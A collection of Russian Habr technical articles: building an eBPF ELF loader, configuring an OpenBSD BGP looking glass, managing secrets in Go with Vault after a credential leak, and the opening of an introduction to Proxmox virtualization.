Сегодня я попробую рассказать про разбор файла в 64-битном формате [ELF](https://en.wikipedia.org/wiki/Executable_and_Linkable_Format). В принципе, что в нём только не хранят — нативные программы, библиотеки статические, библиотеки динамические, всякое implementation specific, вроде crashdump-ов… Используется он, например, на Linux и многих других Unix-like системах, да, говорят, даже на телефоны его поддержку раньше активно запихивали в патченных прошивках. Казалось бы, поддержать формат хранения программ из серьёзных операционных систем должно быть сложно. Так и я думал. Да так оно, наверное, и есть. Но мы будем поддерживать весьма специфический use case: загрузку байт-кода eBPF из `.o`-файлов. Почему так? Просто для дальнейших экспериментов мне понадобится какой-нибудь серьёзный (то есть не *наколеночный*) кроссплатформенный байт-код, который можно получить из C, а не вручную писать, поэтому eBPF — он простой и для него есть LLVM-бекенд. А ELF парсить мне нужно просто как контейнер, в который этот байт-код кладётся компилятором.
На всякий случай уточню: статья носит характер exploratory programming и не претендует на роль исчерпывающего руководства. Конечная цель — сделать загрузчик, который позволит читать скомпилированные в eBPF с помощью Clang программы на C — те, которые у меня есть — в объёме, достаточном для продолжения экспериментов.
Заголовок
=========
Начиная с нулевого смещения в ELF лежит заголовок. Он содержит те самые буквы E, L, F, которые можно увидеть, если попытаться открыть его текстовым редактором, и некоторые глобальные переменные. Собственно, заголовок — это единственная структура в файле, расположенная по фиксированному смещению, и он содержит информацию, чтобы разыскать остальные структуры. *(Здесь и далее я руководствуюсь документацией на 32-битный формат и `elf.h`, знающим про 64-битный. Так что, если заметите ошибки — смело поправляйте)*
Первое, что нас встречает в файле — это поле `unsigned char e_ident[16]`. Помните эти забавные статьи из серии «все следующие утверждения ложны»? Вот тут примерно так же: ELF может содержать в себе 32- или 64-битный код, Little или Big Endian, да ещё и под десяток архитектур процессоров. Вы собрались читать его как Elf64 под Little endian — ну, удачи… Вот этот массив байт и является своеобразной сигнатурой того, что находится внутри и как это парсить.
С первыми четырьмя байтами всё просто — это `[0x7f, 'E', 'L', 'F']`. Если они не совпадают, то есть основания полагать, что это какие-то неправильные пчёлы. Следующий байт содержит класс ~~персонажа~~ файла: `ELFCLASS32` или `ELFCLASS64` — разрядность. Для простоты мы будем работать только с 64-битными файлами (а бывает ли 32-битный eBPF?). Если класс оказался `ELFCLASS32` — просто выходим с ошибкой: всё равно структуры «поплывут», а sanity check сделать не помешает. Последний интересующий нас байт в этой структуре указывает на endianness файла — будем работать только с «родным» для нашего процессора порядком байт.
На всякий случай уточню: работая с форматом ELF на C не следует вычитывать каждый инт по хитро вычисленному смещению — `elf.h` содержит необходимые структуры, и даже номера байтов в `e_ident`: `EI_MAG0`, `EI_MAG1`, `EI_MAG2`, `EI_MAG3`, `EI_CLASS`, `EI_DATA`… Нужно просто привести указатель на вычитанные или отображённые в память данные из файла к указателю на структуру и читать.
Кроме `e_ident` заголовок содержит и другие поля, некоторые мы просто проверим, а некоторые используем для дальнейшего разбора, но потом. А именно, проверим, что `e_machine == EM_BPF` (то есть он «под архитектуру процессора eBPF»), `e_type == ET_REL`, `e_shoff != 0`. Последняя проверка имеет следующий смысл: файл может содержать информацию для линковки (section table и секции), для запуска (program table и сегменты) или оба типа. Двумя последними проверками мы проверяем, что нужная нам информация (как бы для линковки) в файле имеется. Также проверим, что версия формата имеет значение `EV_CURRENT`.
**Сразу оговорюсь, я не буду проверять валидность файла, предполагая, что если уж мы его загружаем в свой процесс, то мы ему доверяем.** В коде ядра или других программ, работающими с недоверенными файлами, так поступать, естественно, **ни в коем случае нельзя**.
Таблица секций
==============
Как я уже говорил, нас интересует linking view файла, то есть таблица секций и сами секции. Информация о том, где искать таблицу секций, находится в заголовке. Там же указан её размер, а также **размер одного элемента** — он может быть и больше, чем `sizeof(Elf64_Shdr)` (как это отразится на номере версии формата, честно скажу, не знаю). Некоторые старшие номера секций зарезервированы, и фактически в таблице не присутствуют. Отсылка к ним имеет специальное значение. Нас интересует, видимо, только `SHN_UNDEF` (ноль тоже зарезервирован — отсутствующая секция; кстати, как вы понимаете, её заголовок в таблице всё же имеется) `SHN_ABS`. Символ, «определённый в секции `SHN_UNDEF`» на самом деле undefined, а в `SHN_ABS` — на самом деле имеет абсолютное значение и не релоцируется. Впрочем, `SHN_ABS` мне, похоже, тоже пока не нужен.
Таблица строк
-------------
Здесь мы впервые натыкаемся на string tables — таблицы строк, используемых в файле. Фактически, если `const char *strtab` — это таблица строк, то имя `sh_name` — это просто `strtab + sh_name`. Да, это просто строка, начинающаяся с некого индекса, и продолжающаяся до нулевого байта. Строки могут пересекаться (точнее, одна может являться суффиксом другой). У секций могут быть имена, тогда в ELF Header поле `e_shstrndx` будет указывать на секцию таблицы строк (той, которая для имён секций, если их несколько), а поле `sh_name` в заголовке секции — на конкретную строку.
Первый (нулевой) и последний байты таблицы строк содержат нулевые символы. Последний понятно почему: значение-часовой, завершает последнюю строку. А вот нулевое смещение задаёт *отсутствующее* или *пустое* имя — в зависимости от контекста.
Загрузка секций
---------------
В заголовке каждой секции имеются два адреса: один, `sh_addr` — это адрес загрузки (куда секция будет помещена в памяти), другой, `sh_offset` — смещение в файле, по которому эта секция там лежит. Не знаю, как оба, но каждое по отдельности из этих значений может быть 0: в одном случае секция «остаётся на диске», поскольку там лежит какая-то служебная информация. В другом — секция *не грузится с диска*, например, её просто нужно выделить, и забить нулями (`.bss`). Честно говоря, пока мне не приходилось обрабатывать адрес загрузки — куда загрузилось, туда и загрузилось :) Впрочем, у нас и программы, прямо скажем, специфические.
Релокация
=========
А теперь интересное: по технике безопасности в Матрицу без оператора, оставшегося на базе, как известно, не ходят. А поскольку у нас тут всё-таки фэнтези, то связь с оператором будет телепатическая. Ах да, я же объявил пятиминутку упоротости завершённой. В общем, кратенько обсудим процесс линковки.
Для моего эксперимента мне потребуется часть кода, скомпилированного в обычную so-шку, загружаемую обычной `libdl`. Тут я даже описывать подробно не буду — просто открываете `dlopen`, вытягиваете символы через `dlsym`, при завершении программы закрываете с помощью `dlclose`. Впрочем, даже это — уже детали реализации, не относящиеся к *нашему* загрузчику ELF-файлов. Просто есть некий *контекст*: возможность по имени получить указатель.
Вообще, набор инструкций eBPF представляет собой торжество выровненного машинного кода: инструкция всегда занимает 8 байтов и имеет структуру
```
struct {
uint8_t opcode;
uint8_t dst:4;
uint8_t src:4;
uint16_t offset;
uint32_t imm;
};
```
Причём многие поля в каждой конкретной инструкции могут не использоваться — экономия места под «машинный» код — это не про нас.
На самом деле, за первой инструкцией может сразу идти вторая, не содержащая никаких опкодов, а просто расширяющая immediate поле с 32-х до 64-х бит. Вот патчинг такой составной инструкции и называется `R_BPF_64_64`.
Для того, чтобы выполнить релокацию, ещё раз просмотрим таблицу секций на предмет `sh_type == SHT_REL`. Поле `sh_info` заголовка укажет на то, какую секцию мы патчим, а `sh_link` — из какой таблицы брать описание символов.
```
typedef struct
{
Elf64_Addr r_offset;
Elf64_Xword r_info;
} Elf64_Rel;
```
Вообще-то, бывают секции релокации двух видов: `REL` и `RELA` — вторая в явном виде содержит дополнительное слагаемое, но я её пока не встречал, поэтому просто добавим assertion на то, что она и вправду не встретится, и будем обрабатывать. Далее я буду добавлять к тому значению, что записано в инструкциях, адрес символа. А откуда его взять? Тут, как мы уже знаем, возможны варианты:
* Символ ссылается на секцию `SHN_ABS`. Тогда просто берём `st_value`
* Символ ссылается на секцию `SHN\_UNDEF. Тогда вытягиваем внешний символ
* В остальных случаях просто патчим ссылку на другую секцию того же файла`
Как попробовать самому
======================
Во первых, что почитать? Кроме уже указанной [спецификации](https://refspecs.linuxfoundation.org/elf/elf.pdf) имеет смысл почитать [этот файл](https://github.com/iovisor/bpf-docs/blob/master/eBPF.md), в котором команда iovisor собирает информацию, добытую из Linux kernel по eBPF.
Во вторых, как собственно, с этим всем работать? Для начала нужно откуда-то получить ELF-файл. Как сказано [на StackOverfow](https://stackoverflow.com/a/47895418), нам поможет команда
```
clang -O2 -emit-llvm -c bpf.c -o - | llc -march=bpf -filetype=obj -o bpf.o
```
Во вторых, нужно как-то получить эталонный разбор файла на кусочки. В обычной ситуации нам бы помогла команда `objdump`:
```
$ objdump
Использование: objdump <параметры> <файл(ы)>
Отображает информацию из объекта <файл(ы)>.
Должен быть указан по крайней мере один из следующих ключей:
-a, --archive-headers Display archive header information
-f, --file-headers Display the contents of the overall file header
-p, --private-headers Display object format specific file header contents
-P, --private=OPT,OPT... Display object format specific contents
-h, --[section-]headers Display the contents of the section headers
-x, --all-headers Display the contents of all headers
-d, --disassemble Display assembler contents of executable sections
-D, --disassemble-all Display assembler contents of all sections
--disassemble= Display assembler contents from
-S, --source Intermix source code with disassembly
-s, --full-contents Display the full contents of all sections requested
-g, --debugging Display debug information in object file
-e, --debugging-tags Display debug information using ctags style
-G, --stabs Display (in raw form) any STABS info in the file
-W[lLiaprmfFsoRtUuTgAckK] or
--dwarf[=rawline,=decodedline,=info,=abbrev,=pubnames,=aranges,=macro,=frames,
=frames-interp,=str,=loc,=Ranges,=pubtypes,
=gdb\_index,=trace\_info,=trace\_abbrev,=trace\_aranges,
=addr,=cu\_index,=links,=follow-links]
Display DWARF info in the file
-t, --syms Display the contents of the symbol table(s)
-T, --dynamic-syms Display the contents of the dynamic symbol table
-r, --reloc Display the relocation entries in the file
-R, --dynamic-reloc Display the dynamic relocation entries in the file
@ Read options from
-v, --version Display this program's version number
-i, --info List object formats and architectures supported
-H, --help Display this information
```
Но в данном случае она бессильна:
```
$ objdump -d test-bpf.o
test-bpf.o: формат файла elf64-little
objdump: невозможно выполнить дизассемблирование для архитектуры UNKNOWN!
```
Точнее, секции-то она покажет, а вот с дизассемблированием проблема. Тут мы вспоминаем, что собирали с помощью LLVM. А у LLVM есть свои расширенные аналоги утилит из binutils, с именами вида `llvm-<имя команды>`. Они, например, понимают LLVM bitcode. А ещё они понимают eBPF — наверняка это зависит от параметров компиляции, но раз уж оно скомпилировало, то и распарсить, наверное, всегда должно. Поэтому для удобства рекомендую создать скрипт:
```
vim test-bpf.c # Подставить редактор по вкусу
clang -Oz -emit-llvm -c test-bpf.c -o - | llc -march=bpf -filetype=obj -o test-bpf.o
llvm-objdump -d -t -r test-bpf.o
```
Тогда для такого исходника:
```
#include
extern uint64\_t z;
uint64\_t func(uint64\_t x, uint64\_t y)
{
return x + y + z;
}
```
Будет такой результат:
```
$ ./compile-bpf.sh
test-bpf.o: file format ELF64-BPF
Disassembly of section .text:
0000000000000000 func:
0: bf 20 00 00 00 00 00 00 r0 = r2
1: 0f 10 00 00 00 00 00 00 r0 += r1
2: 18 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 r1 = 0 ll
0000000000000010: R_BPF_64_64 z
4: 79 11 00 00 00 00 00 00 r1 = *(u64 *)(r1 + 0)
5: 0f 10 00 00 00 00 00 00 r0 += r1
6: 95 00 00 00 00 00 00 00 exit
SYMBOL TABLE:
0000000000000000 l df *ABS* 00000000 test-bpf.c
0000000000000000 l d .text 00000000 .text
0000000000000000 g F .text 00000038 func
0000000000000000 *UND* 00000000 z
```
[Код](https://github.com/atrosinenko/qinst/blob/qinst/tcg/bpf-loader.c).
[Часть 1. QInst: лучше день потерять, потом за пять минут долететь (пишем инструментацию тривиально)](https://habr.com/ru/post/452608/) | https://habr.com/ru/post/452592/ | null | ru | null |
# Настройка BGP Looking glass на базе OpenBSD 6.1
Мы уже давно использовали связку OpenBSD+OpenBGPD+bgplg для предоставления публичного сервера bgp looking glass. Было принято обновить OpenBSD до свежей версии.
В процессе настройки выяснилось несколько ньюансов, не раскрытых в полной мере в официальной документации. В результате получилась вот такая инструкция по настройке сервиса BGP looking glass на базе свежеустановленной OpenBSD 6.1
**0.** Устанавливаем OpenBSD
**1.** Кладем SSL-ключ в /etc/ssl/private/server.key и цепочку сертификатов в /etc/ssl/server.crt
**2.** Настраиваем /etc/httpd.conf
```
ext_addr="0.0.0.0"
ext_addr6="::"
prefork 2
domain="lg.example.net"
server $domain {
listen on $ext_addr port 80
listen on $ext_addr6 port 80
block return 301 "https://$domain$REQUEST_URI"
}
server $domain {
listen on $ext_addr tls port 443
listen on $ext_addr6 tls port 443
tls {
certificate "/etc/ssl/server.crt"
key "/etc/ssl/private/server.key"
}
location "/cgi-bin/*" {
fastcgi
root ""
}
location "/" {
block return 302 "/cgi-bin/bgplg"
}
}
```
**3.** Настраиваем /etc/bgpd.conf
```
AS XXX
fib-update no
listen on 0.0.0.0
route-collector yes
router-id A.B.C.D
socket "/var/www/run/bgpd.rsock" restricted
neighbor D.E.F.G {
remote-as XXX
descr "r1"
announce none
}
neighbor D:E:F::G {
remote-as XXX
descr "r1v6"
announce none
}
```
**4.** Выставляем права, настраиваем chroot. Последней командой вы разрешаете выполнение ping и traceroute с вашего сервиса, однако при этом устанавливаете флаг SUID на исполняемые файлы.
```
chmod 0555 /var/www/cgi-bin/bgplg
chmod 0555 /var/www/bin/bgpctl
mkdir /var/www/etc
cp /etc/resolv.conf /var/www/etc
chmod 4555 /var/www/bin/ping* /var/www/bin/traceroute*
```
**5.** Если на предыдущем шаге вы включали ping и traceroute, то проверьте /etc/fstab на отсутствие флага nosuid для /var. Не забудьте перемонтировать /var либо перезагрузиться.
**6.** Настраиваем pf.conf
```
ext_if = "vio0"
table { 192.168.0.0/24 2001:67c:aaaa::/64 }
table { 192.168.2.0/24 2001:67c:bbbb::/64 }
set block-policy drop
set skip on lo
#block return # block stateless traffic
#pass # establish keep-state
match in all scrub (no-df random-id max-mss 1440)
block all
pass out quick
pass in on egress proto tcp from to (egress) port { 22 }
pass in on egress proto tcp from to (egress) port { 179 }
pass in on egress proto tcp from any to (egress) port { 80 443 }
pass in on egress proto icmp from any to (egress)
pass in on egress proto icmp6 from any to (egress)
```
**7.** Запускаем демоны
```
rcctl enable httpd
rcctl enable slowcgi
rcctl enable bgpd
rcctl start httpd
rcctl start slowcgi
rcctl start bgpd
pfctl -f /etc/pf.conf
```
**8.** [Вуаля!](https://lg.datahata.by) | https://habr.com/ru/post/332694/ | null | ru | null |
# Как работать с секретами в Golang, чтобы минимизировать хаос
Над менеджментом секретов нужно задумываться с самого начала работы над проектом. Кто-то может со мной не согласиться, ведь на стадии разработки возникает куча первостепенных задач, и проблема хранения секретов уходит на второй план. Попытаюсь развеять ваши сомнения на примере собственного опыта.
Меня зовут Сергей Киммель, я PHP Developer, Golang Developer и руководитель отдела разработки торгового движка. Сегодня поделюсь опытом своей команды в работе с секретами. Расскажу о проблемах, с которыми мы столкнулись, и об их решении. Дам варианты организации работы с секретами и покажу пример организации Golang-кода.
Наша история про набитые шишки
------------------------------
### Как всё начиналось, и к чему это привело
Наш проект стартовал в далёком 2013 году. Основная разработка велась в одном Git-репозитории, в основном на PHP. В репозитории лежали все секреты, связанные с нашими API и БД. Проект активно рос, мы пилили фичи. Задумываться, где и как хранить секреты, времени не было, и мы не считали это проблемой. Нам было важнее быстро катить в прод.
Потом пришли микросервисы. Мы начали распиливать репозиторий на несколько отдельных по предметным областям, за которые они ответственны. Часть из них так и остались на PHP, там были скопипасчены все секреты. Мы не задумывались, что и где использовалось. Ведь для этого нужно было активно анализировать код и понимать, что ещё применяется, а что нет.
Другую часть репозитория мы попутно переписали на Golang. Там вынесли секреты в переменные окружения. Стало чуть лучше, но всё равно при появлении нового микросервиса нужно было копипастить какие-то секреты в свежий репозиторий. Мы начинали терять контроль над тем, где какие секреты лежат. Завели Excel-документ, в котором вели учёт. Но эта инициатива быстро заглохла, потому что мы не могли найти ответственного за актуализацию файла.
По сути, больших проблем с секретами мы так и не замечали. Так было до тех пор, пока кто-то не слил наши credentials к одной из API.
### Кто-то слил наши credentials
По логам мы заметили, что валятся ошибки, и мы упираемся в лимиты по API. В личном кабинете приложений, которые отдавали ошибки, мы обнаружили, что используются методы, которые мы никогда не брали. Новых релизов не было, увеличения трафика по пользователям — тоже. Стало понятно, что кто-то скомпрометировал наши credentials к этим приложениям. Нужно было срочно выпускать новые и обновлять их во всех сервисах.
Здесь и начались основные проблемы. Мы не знали:
1. в каких сервисах какие секреты используются;
2. как их быстро поменять, чтобы не поломать вообще всё.
Благодаря метрикам и логам мы выявили сервисы, которые вышли из строя из-за того, что упёрлись в лимиты. Прописали туда новые секреты и перезапустили эти сервисы. Стало легче, отпустило. Мы немного выдохнули, и решили, что пора отзывать старые credentials, что мы и сделали. После этого ещё пара сервисов упали. Они не упирались в лимиты, и мы не знали, что сервисы использовали старые секреты.
Тогда мы заменили их на новые, сделали перезапуск. Наконец, ближе к вечеру, руки перестали трястись, мандраж прошёл. Почти весь день сервис не выполнял свои функции, а это большие потери для бизнеса. Мы точно поняли, что пора наводить порядок в менеджменте секретов, потому что с ростом проекта решать такие инциденты будет всё сложнее.
Посовещавшись с коллегами, мы пришли к выводу, что надо поднимать централизованное хранилище секретов, чтобы вся сенситивная информация находилась в одном защищённом месте.
### Как мы исправили ситуацию
**Подняли центральное хранилище секретов, так** **появилась возможность их контролировать**
Мы выбрали Vault версию HA (high ability) от HashiCorp. Развернули, заранее договорились с коллегами, как будем именовать секреты. Правило простое — в начале имени секрета обязательно должно присутствовать имя сервиса, который его использует. Такая договорённость позволила нам создать связующее звено между сервисом и секретом, который он использует. Этого сильно не хватало при прошедшем инциденте.
Постепенно мы перевели все наши сервисы на то, чтобы при старте они забирали секреты из хранилища. У нас наконец появилась возможность их контролировать, потому что всё находится в одном месте. Мы знаем, к какому сервису какие секреты относятся.
Мы проверили, насколько помогает новое решение, и воспроизвели искусственно ситуацию, что кто-то опять слил credentials к одному из API.
**Обновили credentials — результат нас устроил, несмотря на ручной перезапуск сервисов**
Мы выбрали один API в качестве испытуемого, выпустили новые credentials, прошлись по всем ключам в хранилище секретов. Нашли, где эти credentials скомпрометировано использовались, обновили там секреты на новые значения и перезапустили сервисы. Они стартанули, всё хорошо. Потом отозвали старые credentials, сервисы не вышли из строя. Везде всё обновилось, переподтянулось.
Результат нас устроил, несмотря на ручной перезапуск. Следующим шагом наша инженерная душа захотела сделать так, чтобы сервисы сами узнавали, что секрет обновился.
**Добавили проверку обновления секрета: Auth-токен — тот же секрет, которым нужно управлять**
В один из сервисов добавили возможность периодического запроса в Vault. Суть простая: каждую минуту ходили в Vault, забирали текущее значение секрета и сравнивали его с предыдущим. Если оно отличалось, приложение реагировало в зависимости от логики, которая в нём была.
Тут мы сразу упёрлись в особенности безопасности Vault, ведь его авторотационные токены имеют время жизни. Через 15 минут токен переставал быть валидным, из-за чего мы уже не могли делать запросы к API Vault. Надо было перевыпускать токен или продлевать время его жизни.
Немного изучив документацию, мы добавили логику продления аренды токена. Это помогло только на месяц, потому что у авторизационных токенов есть максимальное время жизни. В Vault оно около 32 дней. Через месяц мы столкнулись с этим неприятным сюрпризом. Повезло, что это был только один сервис, поэтому сильно нас не затронуло.
Попробовали пойти дальше и сделать логику, что ещё будем перевыпускать эти авторизационные токены. Но вовремя остановились, потому что поняли, что авторизационный токен — это тот же секрет, и им нужно как-то управлять. Следить за тем, чтобы его никто не слил или периодически перевыпускать. Решили отказаться от этого решения и остаться на варианте, что пока будем перезапускать сервисы. Пришли к двум основным идеям:
1. Отказаться от манипуляций с авторизационными токенами и с приложением. Это большая дополнительная работа, которую не нужно пихать в приложение и усложнять его.
2. Стандартизировать механизмы уведомления приложения, что секрет обновился.
Даже если бы мы сделали то, что хотели выполнить ранее, не было бы 100% уверенности, что все сервисы получили новые секреты, что секреты везде обновились, и ничего нового стартовать не надо.
Организация работы с секретами — наши варианты
----------------------------------------------
Из опыта, делюсь вариантами организации работы с секретами. Все они использовались нами ранее или применяются в настоящее время. У каждого варианта есть свои плюсы и минусы.
1. Хранить в переменных CI
Можно хранить секреты в переменных CI-тулинга. На схеме я специально выделил блоки с секретами для стейджинга и для продакшена.
Каждое окружение в CI-тулинге — интерфейс или конфиг — нуждается в прописывании секретов. Уже при деплое приложения CI-тулинг кладёт в контейнер или выносит на сервер вместе с приложением сами секреты. Ваше приложение использует их, даже не подозревая о том, что кто-то их туда подложил.
Не размещайте секреты в кодовый репозиторий. Это очень плохая практика, не советую её применять. Наш опыт показал, чего это может стоить.
**Плюсы:**
Это хороший стартовый вариант для стартапов. Не нужно поднимать серверы, потому что секреты хранятся в самом CI-тулинге, в его базе или на его серверах. Поэтому дополнительные ресурсы не потребуются.
**Минусы:**
Корневой минус — когда репозиториев с кодом больше, чем один, начинается дублирование секретов, они лежат в нескольких местах. Чем больше репозиториев, тем сложнее за ними следить. Плюс, если нужно обновить какие-то секреты, придётся бегать по каждому репозиторию, смотреть переменные окружения CI и всё обновлять.
2. Забирать секреты при деплое
Этот вариант — эволюционный виток предыдущего. Он необходим, когда нужно централизованное хранилище секретов.
На схеме есть отдельное хранилище секретов, куда ваш CI-тулинг ходит при деплое, забирает оттуда секреты и также кладёт их вместе с приложением на серверы. Основное отличие в том, что теперь секреты хранятся не в CI-туллинге, а в централизованном хранилище.
**Плюсы:**
Секреты лежат в одном месте, их менеджмент упрощается. Можно спокойно искать секреты по хранилищу, проводить аудит доступа к ним, то есть давать доступ только к тому, что разрешено. Плюс, этот вариант не требует изменений в коде приложения. Максимум, если нужно будет немного подправить деплойку, чтобы она брала секреты не из переменных окружения, а ходила в хранилище и забирала их оттуда.
**Минусы:**
Когда появляется отдельное хранилище секретов, под него нужно разворачивать и поддерживать серверы. Это тоже ресурсы, но они того стоят. Лучше немного потратиться, чтобы потом не заплатить ещё большую цену.
Также тем, кто использует публичные CI, например, Travis CI, CircleCI и т.п. надо ломать голову, как безопасно открыть ваше хранилище секретов во внешний мир. Ведь оно должно храниться внутри инфраструктуры и быть максимально защищённым от внешнего воздействия.
3. Kubernetes/Docker secrets
Подойдёт тем, у кого приложения работают в контейнерных оркестраторах Kubernetes и Docker. Суть в том, что в них уже есть встроенная функция работы с хранилищами секретов, как минимум, с Vault точно.
При деплое оркестратор забирает необходимые секреты из хранилища и подкладывает их в контейнеры с приложением. Оно работает, не подозревая, что есть хранилище секретов, и кто-то подложил оттуда секреты в приложение.
**Плюсы:**
Секреты лежат в одном месте, изменений в приложении не требуется. На схеме видно, что приложение никак не взаимодействует с хранилищем. Для него всё работает, как и прежде, — кто-то подкладывает секреты либо в конфиг, либо в переменную окружения. Это тоже удобный вариант.
**Минусы:**
Нужно поднимать и поддерживать хранилище секретов. Также все сервисы должны работать в Kubernetes/Docker. Без этого вы теряете преимущества данного варианта, ведь что-то будет работать в Kubernetes, а что-то — нет. Придётся частично применять разные варианты, что создаст свои неудобства.
4. Приложение забирает из хранилища
Это самый навороченный вариант. Здесь вы получаете максимальную гибкость работы с хранилищем секретов.
Приложение само авторизуется в хранилище секретов и забирает их оттуда самостоятельно.
**Плюсы:**
Секреты лежат в одном месте, у вас есть централизованное хранилище, которым легко управлять. Вторая плюшка, не менее полезная, — можно производить аудит запросов к хранилищу секретов. Так мы понимаем, какие секреты реально используются, а какие лежат мёртвым грузом, потому что их забыли удалить или завели по ошибке.
**Минусы:**
За гибкость, навороченность, возможность непосредственно общаться с хранилищем секретов, приходится платить. Вы можете сильно усложнить работу вашего приложения, поэтому нужно быть максимально осторожным и не наворотить кучу всяких штук.
Лучше договориться в рамках компании, какие возможности вы будете использовать, и оформить это в виде отдельной библиотеки, в сервисах вашей компании. Иначе можно развести у себя огромный зоопарк.
Нужно решать, как приложение будет авторизовываться в хранилище секретов. Многое зависит от того, какое хранилище вы будете использовать. Например, с Vault учитывайте наш негативный опыт. Этот минус может очень сильно попортить жизнь, но, возможно, вы найдете решение получше и используете его.
Нужно поднимать и поддерживать **отказоустойчивое** хранилище. Решите, где будет работать кворум из нескольких серверов. Так вы сможете спокойно выводить в обслуживание определённую часть. Приложение будет напрямую ходить в хранилище секретов. Если оно окажется недоступным, ваше приложение тоже не запустится, например, если кто-то захочет задеплоиться в этот момент.
Организация Golang-кода
-----------------------
Сейчас покажу небольшую кодовую выжимку того, какие выводы в рамках Go-кода мы сделали. Это не истина в последней инстанции, не надо копировать этот код и использовать его у себя в проекте. Просто посмотрите, переварите, сделайте какие-то выводы для себя — может, увидите там минусы и улучшите то, что мы сделали.
### Получение секрета
Суть в том, что нужно сделать простой интерфейс, который будет инкапсулировать работу с секретами.
```
package secret
import (
"context"
"errors"
)
var (
ErrNotFound = errors.New("secret not found")
)
type Getter interface {
GetSecretBytes(ctx context.Context, secretName string) (Bytes, error)
}
type Bytes []byte
```
Здесь приведён максимально простой метод в интерфейсе, который на входе принимает имя секрета. На выходе возвращает этот секрет в ошибку, если что-то пошло не так.
Метод GetSecretBytes возвращает специальный тип, объявленный ниже. Это сделано намеренно, не по ошибке. Метод GetSecretBytes лучше вызывать непосредственно в том месте, где вы хотите использовать секрет. Следуйте принципу: потребовался секрет, вызвали метод, получили значение секрета, воспользовались им в том месте, где он нужен. Сохранять его в глобальной переменной, а потом использовать — не лучший вариант. Иначе механика обновления секретов будет сильно хромать.
### Защита от утечки секретов
```
func (b Bytes) String() string {
return "sensitive data"
}
func (b Bytes) Bytes() []byte {
return b
}
```
Тип Bytes реализовывает простую защиту от утечки секретов в логе. Чем плох обычный []byte или string — если он нечаянно попадёт в логи, то может постепенно утечь куда-то вовне. Поэтому сделан специальный тип Bytes, который имплементирует здесь интерфейс Stringer. При попадании в форматер логера вместо содержимого секрета просто залогирует фразу “sensitive data”.
Если действительно нужно получить значение секрета, то есть второй метод Bytes, который возвращает уже непосредственно []byte. Его тоже нужно вызывать только в месте использования секрета. Нежелательно куда-то сохранять его значение, чтобы ваш секрет нечаянно куда-то не утек.
Это только пример, а не законченное решение. На просторах GitHub есть много вариантов реализации, вплоть до шифрования в памяти. Пример показывает, какие есть риски, что может случиться с вашими секретами, если с ними работать, как с []byte.
### Слежение за секретами
Если вы хотите, чтобы приложение умело реагировать на изменение секретов, то лучше ввести в ваш код небольшую абстракцию. Так потом будет проще переходить с одного варианта на другой.
```
type Watcher interface {
WatchSecretBytes(
ctx context.Context,
secretName string,
) (
secretBytesC <-chan Bytes,
stop func(),
err error,
)
}
```
Здесь это интерфейс Watcher, который имеет всего один метод WatchSecretBytes. Он принимает на вход имя секрета и на выходе возвращает три выходных параметра. Они значат:
1. Канал, в который прилетает текущее или новое значение секрета.
Как раз из него можно читать в отдельной горутине, в зависимости от того, как вам удобнее, и производить какие-то действия, связанные с обновлением секрета. Это может быть обновление коннекта пулов или просто обновление клиента по работе с API. Всё зависит от вашей бизнес-логики.
2. Функция остановки watcher.
Когда вы понимаете, что больше не нужно следить за секретом, можно вызвать эту функцию. Она произведёт все операции, чтобы watcher перестал следить за секретом. Чаще всего, это вызывается по завершению приложения, но может у вас более гибкие механизмы его работы. Поэтому в интерфейсе это тоже постарались учесть.
3. Классический параметр — ошибка.
Если в создании watcher что-то пошло не так, то ошибка будет возвращена.
Поведение этого метода ожидает, что когда watcher будет создан, в канал сбросится текущее значение секрета. Это удобно, потому что обычно при старте приложения вы будете создавать watcher. После этого нужно получить текущее значение секрета. Это можно сделать просто синхронным вычитыванием из канала без создания отдельной горутины. А уже когда вы инициализировали приложение, можете запустить на своей горутинке, которая из этого канала уже будет получать новые значения секретов, если они будут появляться.
Выводы
------
Итак, самое полезное, из того, что я рассказал:
1. Над менеджментом секретов нужно задумываться с самого начала проекта.
Наш опыт показал, насколько это может быть чревато. Если вы задействуете первую парочку вариантов организации секретов, будет легче перейти на более сложные. Тем более, если следовать выжимкам кода, которые я привёл.
2. Нужно выбирать тот вариант, который подходит уровню технического и административного развития вашего проекта.
Не нужно стрелять из пушки по воробьям и брать самый навороченный и крутой вариант. Возможно, вам не пригодятся все его плюсы, а получите ещё и его минусы. Поэтому советую взвесить все ЗА и ПРОТИВ каждого решения и понять, насколько оно подходит вашему проекту.
3. Нужно уделять внимание тому, как ваше приложение реагирует на обновление секретов.
Иначе можно оказаться в ситуации, что после обновления секретов в хранилище придётся сидеть и думать — блин, а точно ли везде всё обновилось? Это неприятное ощущение. Особенно когда продакшен горит из-за того, что «протух» секрет или ещё что-то случилось. Уделите внимание этому моменту, так можно сэкономить нервные клетки.
Обновление секрета, даже просто реагирование за счёт рестарта приложения — это тоже вариант. У нас такое работает, главное договориться об этом. Важно, чтобы у вас не было разногласий.
4. Нужно использовать вспомогательные маскирующие типы при работе с секретами вместо обычных []byte или string.
Не используйте чистые байты и строки, есть риск, что ваши секреты утекут туда, куда не следует. На GitHub много библиотек, которые эту механику уже реализуют.
5. Нужно именовать секреты так, чтобы по названию было понятно, в каком сервисе они используются.
Это связующее звено между сервисом и секретом, потому что хранилище секретов такой возможности не даёт. Вам нужно сформировать её на уровне договорённостей в проекте. Договорившись об этом, вы получаете два жирных плюса. Во-первых, у вас есть центральное хранилище секретов, где вы ими можете управлять. Во-вторых, у вас есть связующее звено между секретами и сервисами. В этом случае вы точно будете жить спокойнее, чем жили мы.
> Еще больше самых актуальных материалов можно увидеть на конференции HighLoad++ 2022 - **24 и 25 ноября**в Москве. Посмотреть программу докладов и приобрести билеты можно на [официальном сайте конференции](https://highload.ru/moscow/2022?utm_source=habr&utm_medium=article&utm_campaign=041022).
>
> | https://habr.com/ru/post/679546/ | null | ru | null |
# Магия виртуализации: вводный курс в Proxmox VE
Сегодня речь пойдет о том, как быстро и достаточно просто на одном физическом сервере развернуть несколько виртуальных серверов с разными операционными системами. Любому системному администратору это позволит централизованно управлять всей IT-инфраструктурой компании и экономить огромное количество ресурсов. Использование виртуализации помогает максимально абстрагироваться от физического серверного оборудования, защитить критичные сервисы и легко восстановить их работу даже в случае очень серьезных сбоев.
Без всякого сомнения, большинству системных администраторов знакомы приемы работы с виртуальной средой и для них эта статья не станет каким-либо открытием. Несмотря на это, есть компании, которые не используют гибкость и скорость работы виртуальных решений из-за недостатка точной информации о них. Мы надеемся, что наша статья поможет на примере понять, что гораздо проще один раз начать использовать виртуализацию, чем испытывать неудобства и недостатки физической инфраструктуры.
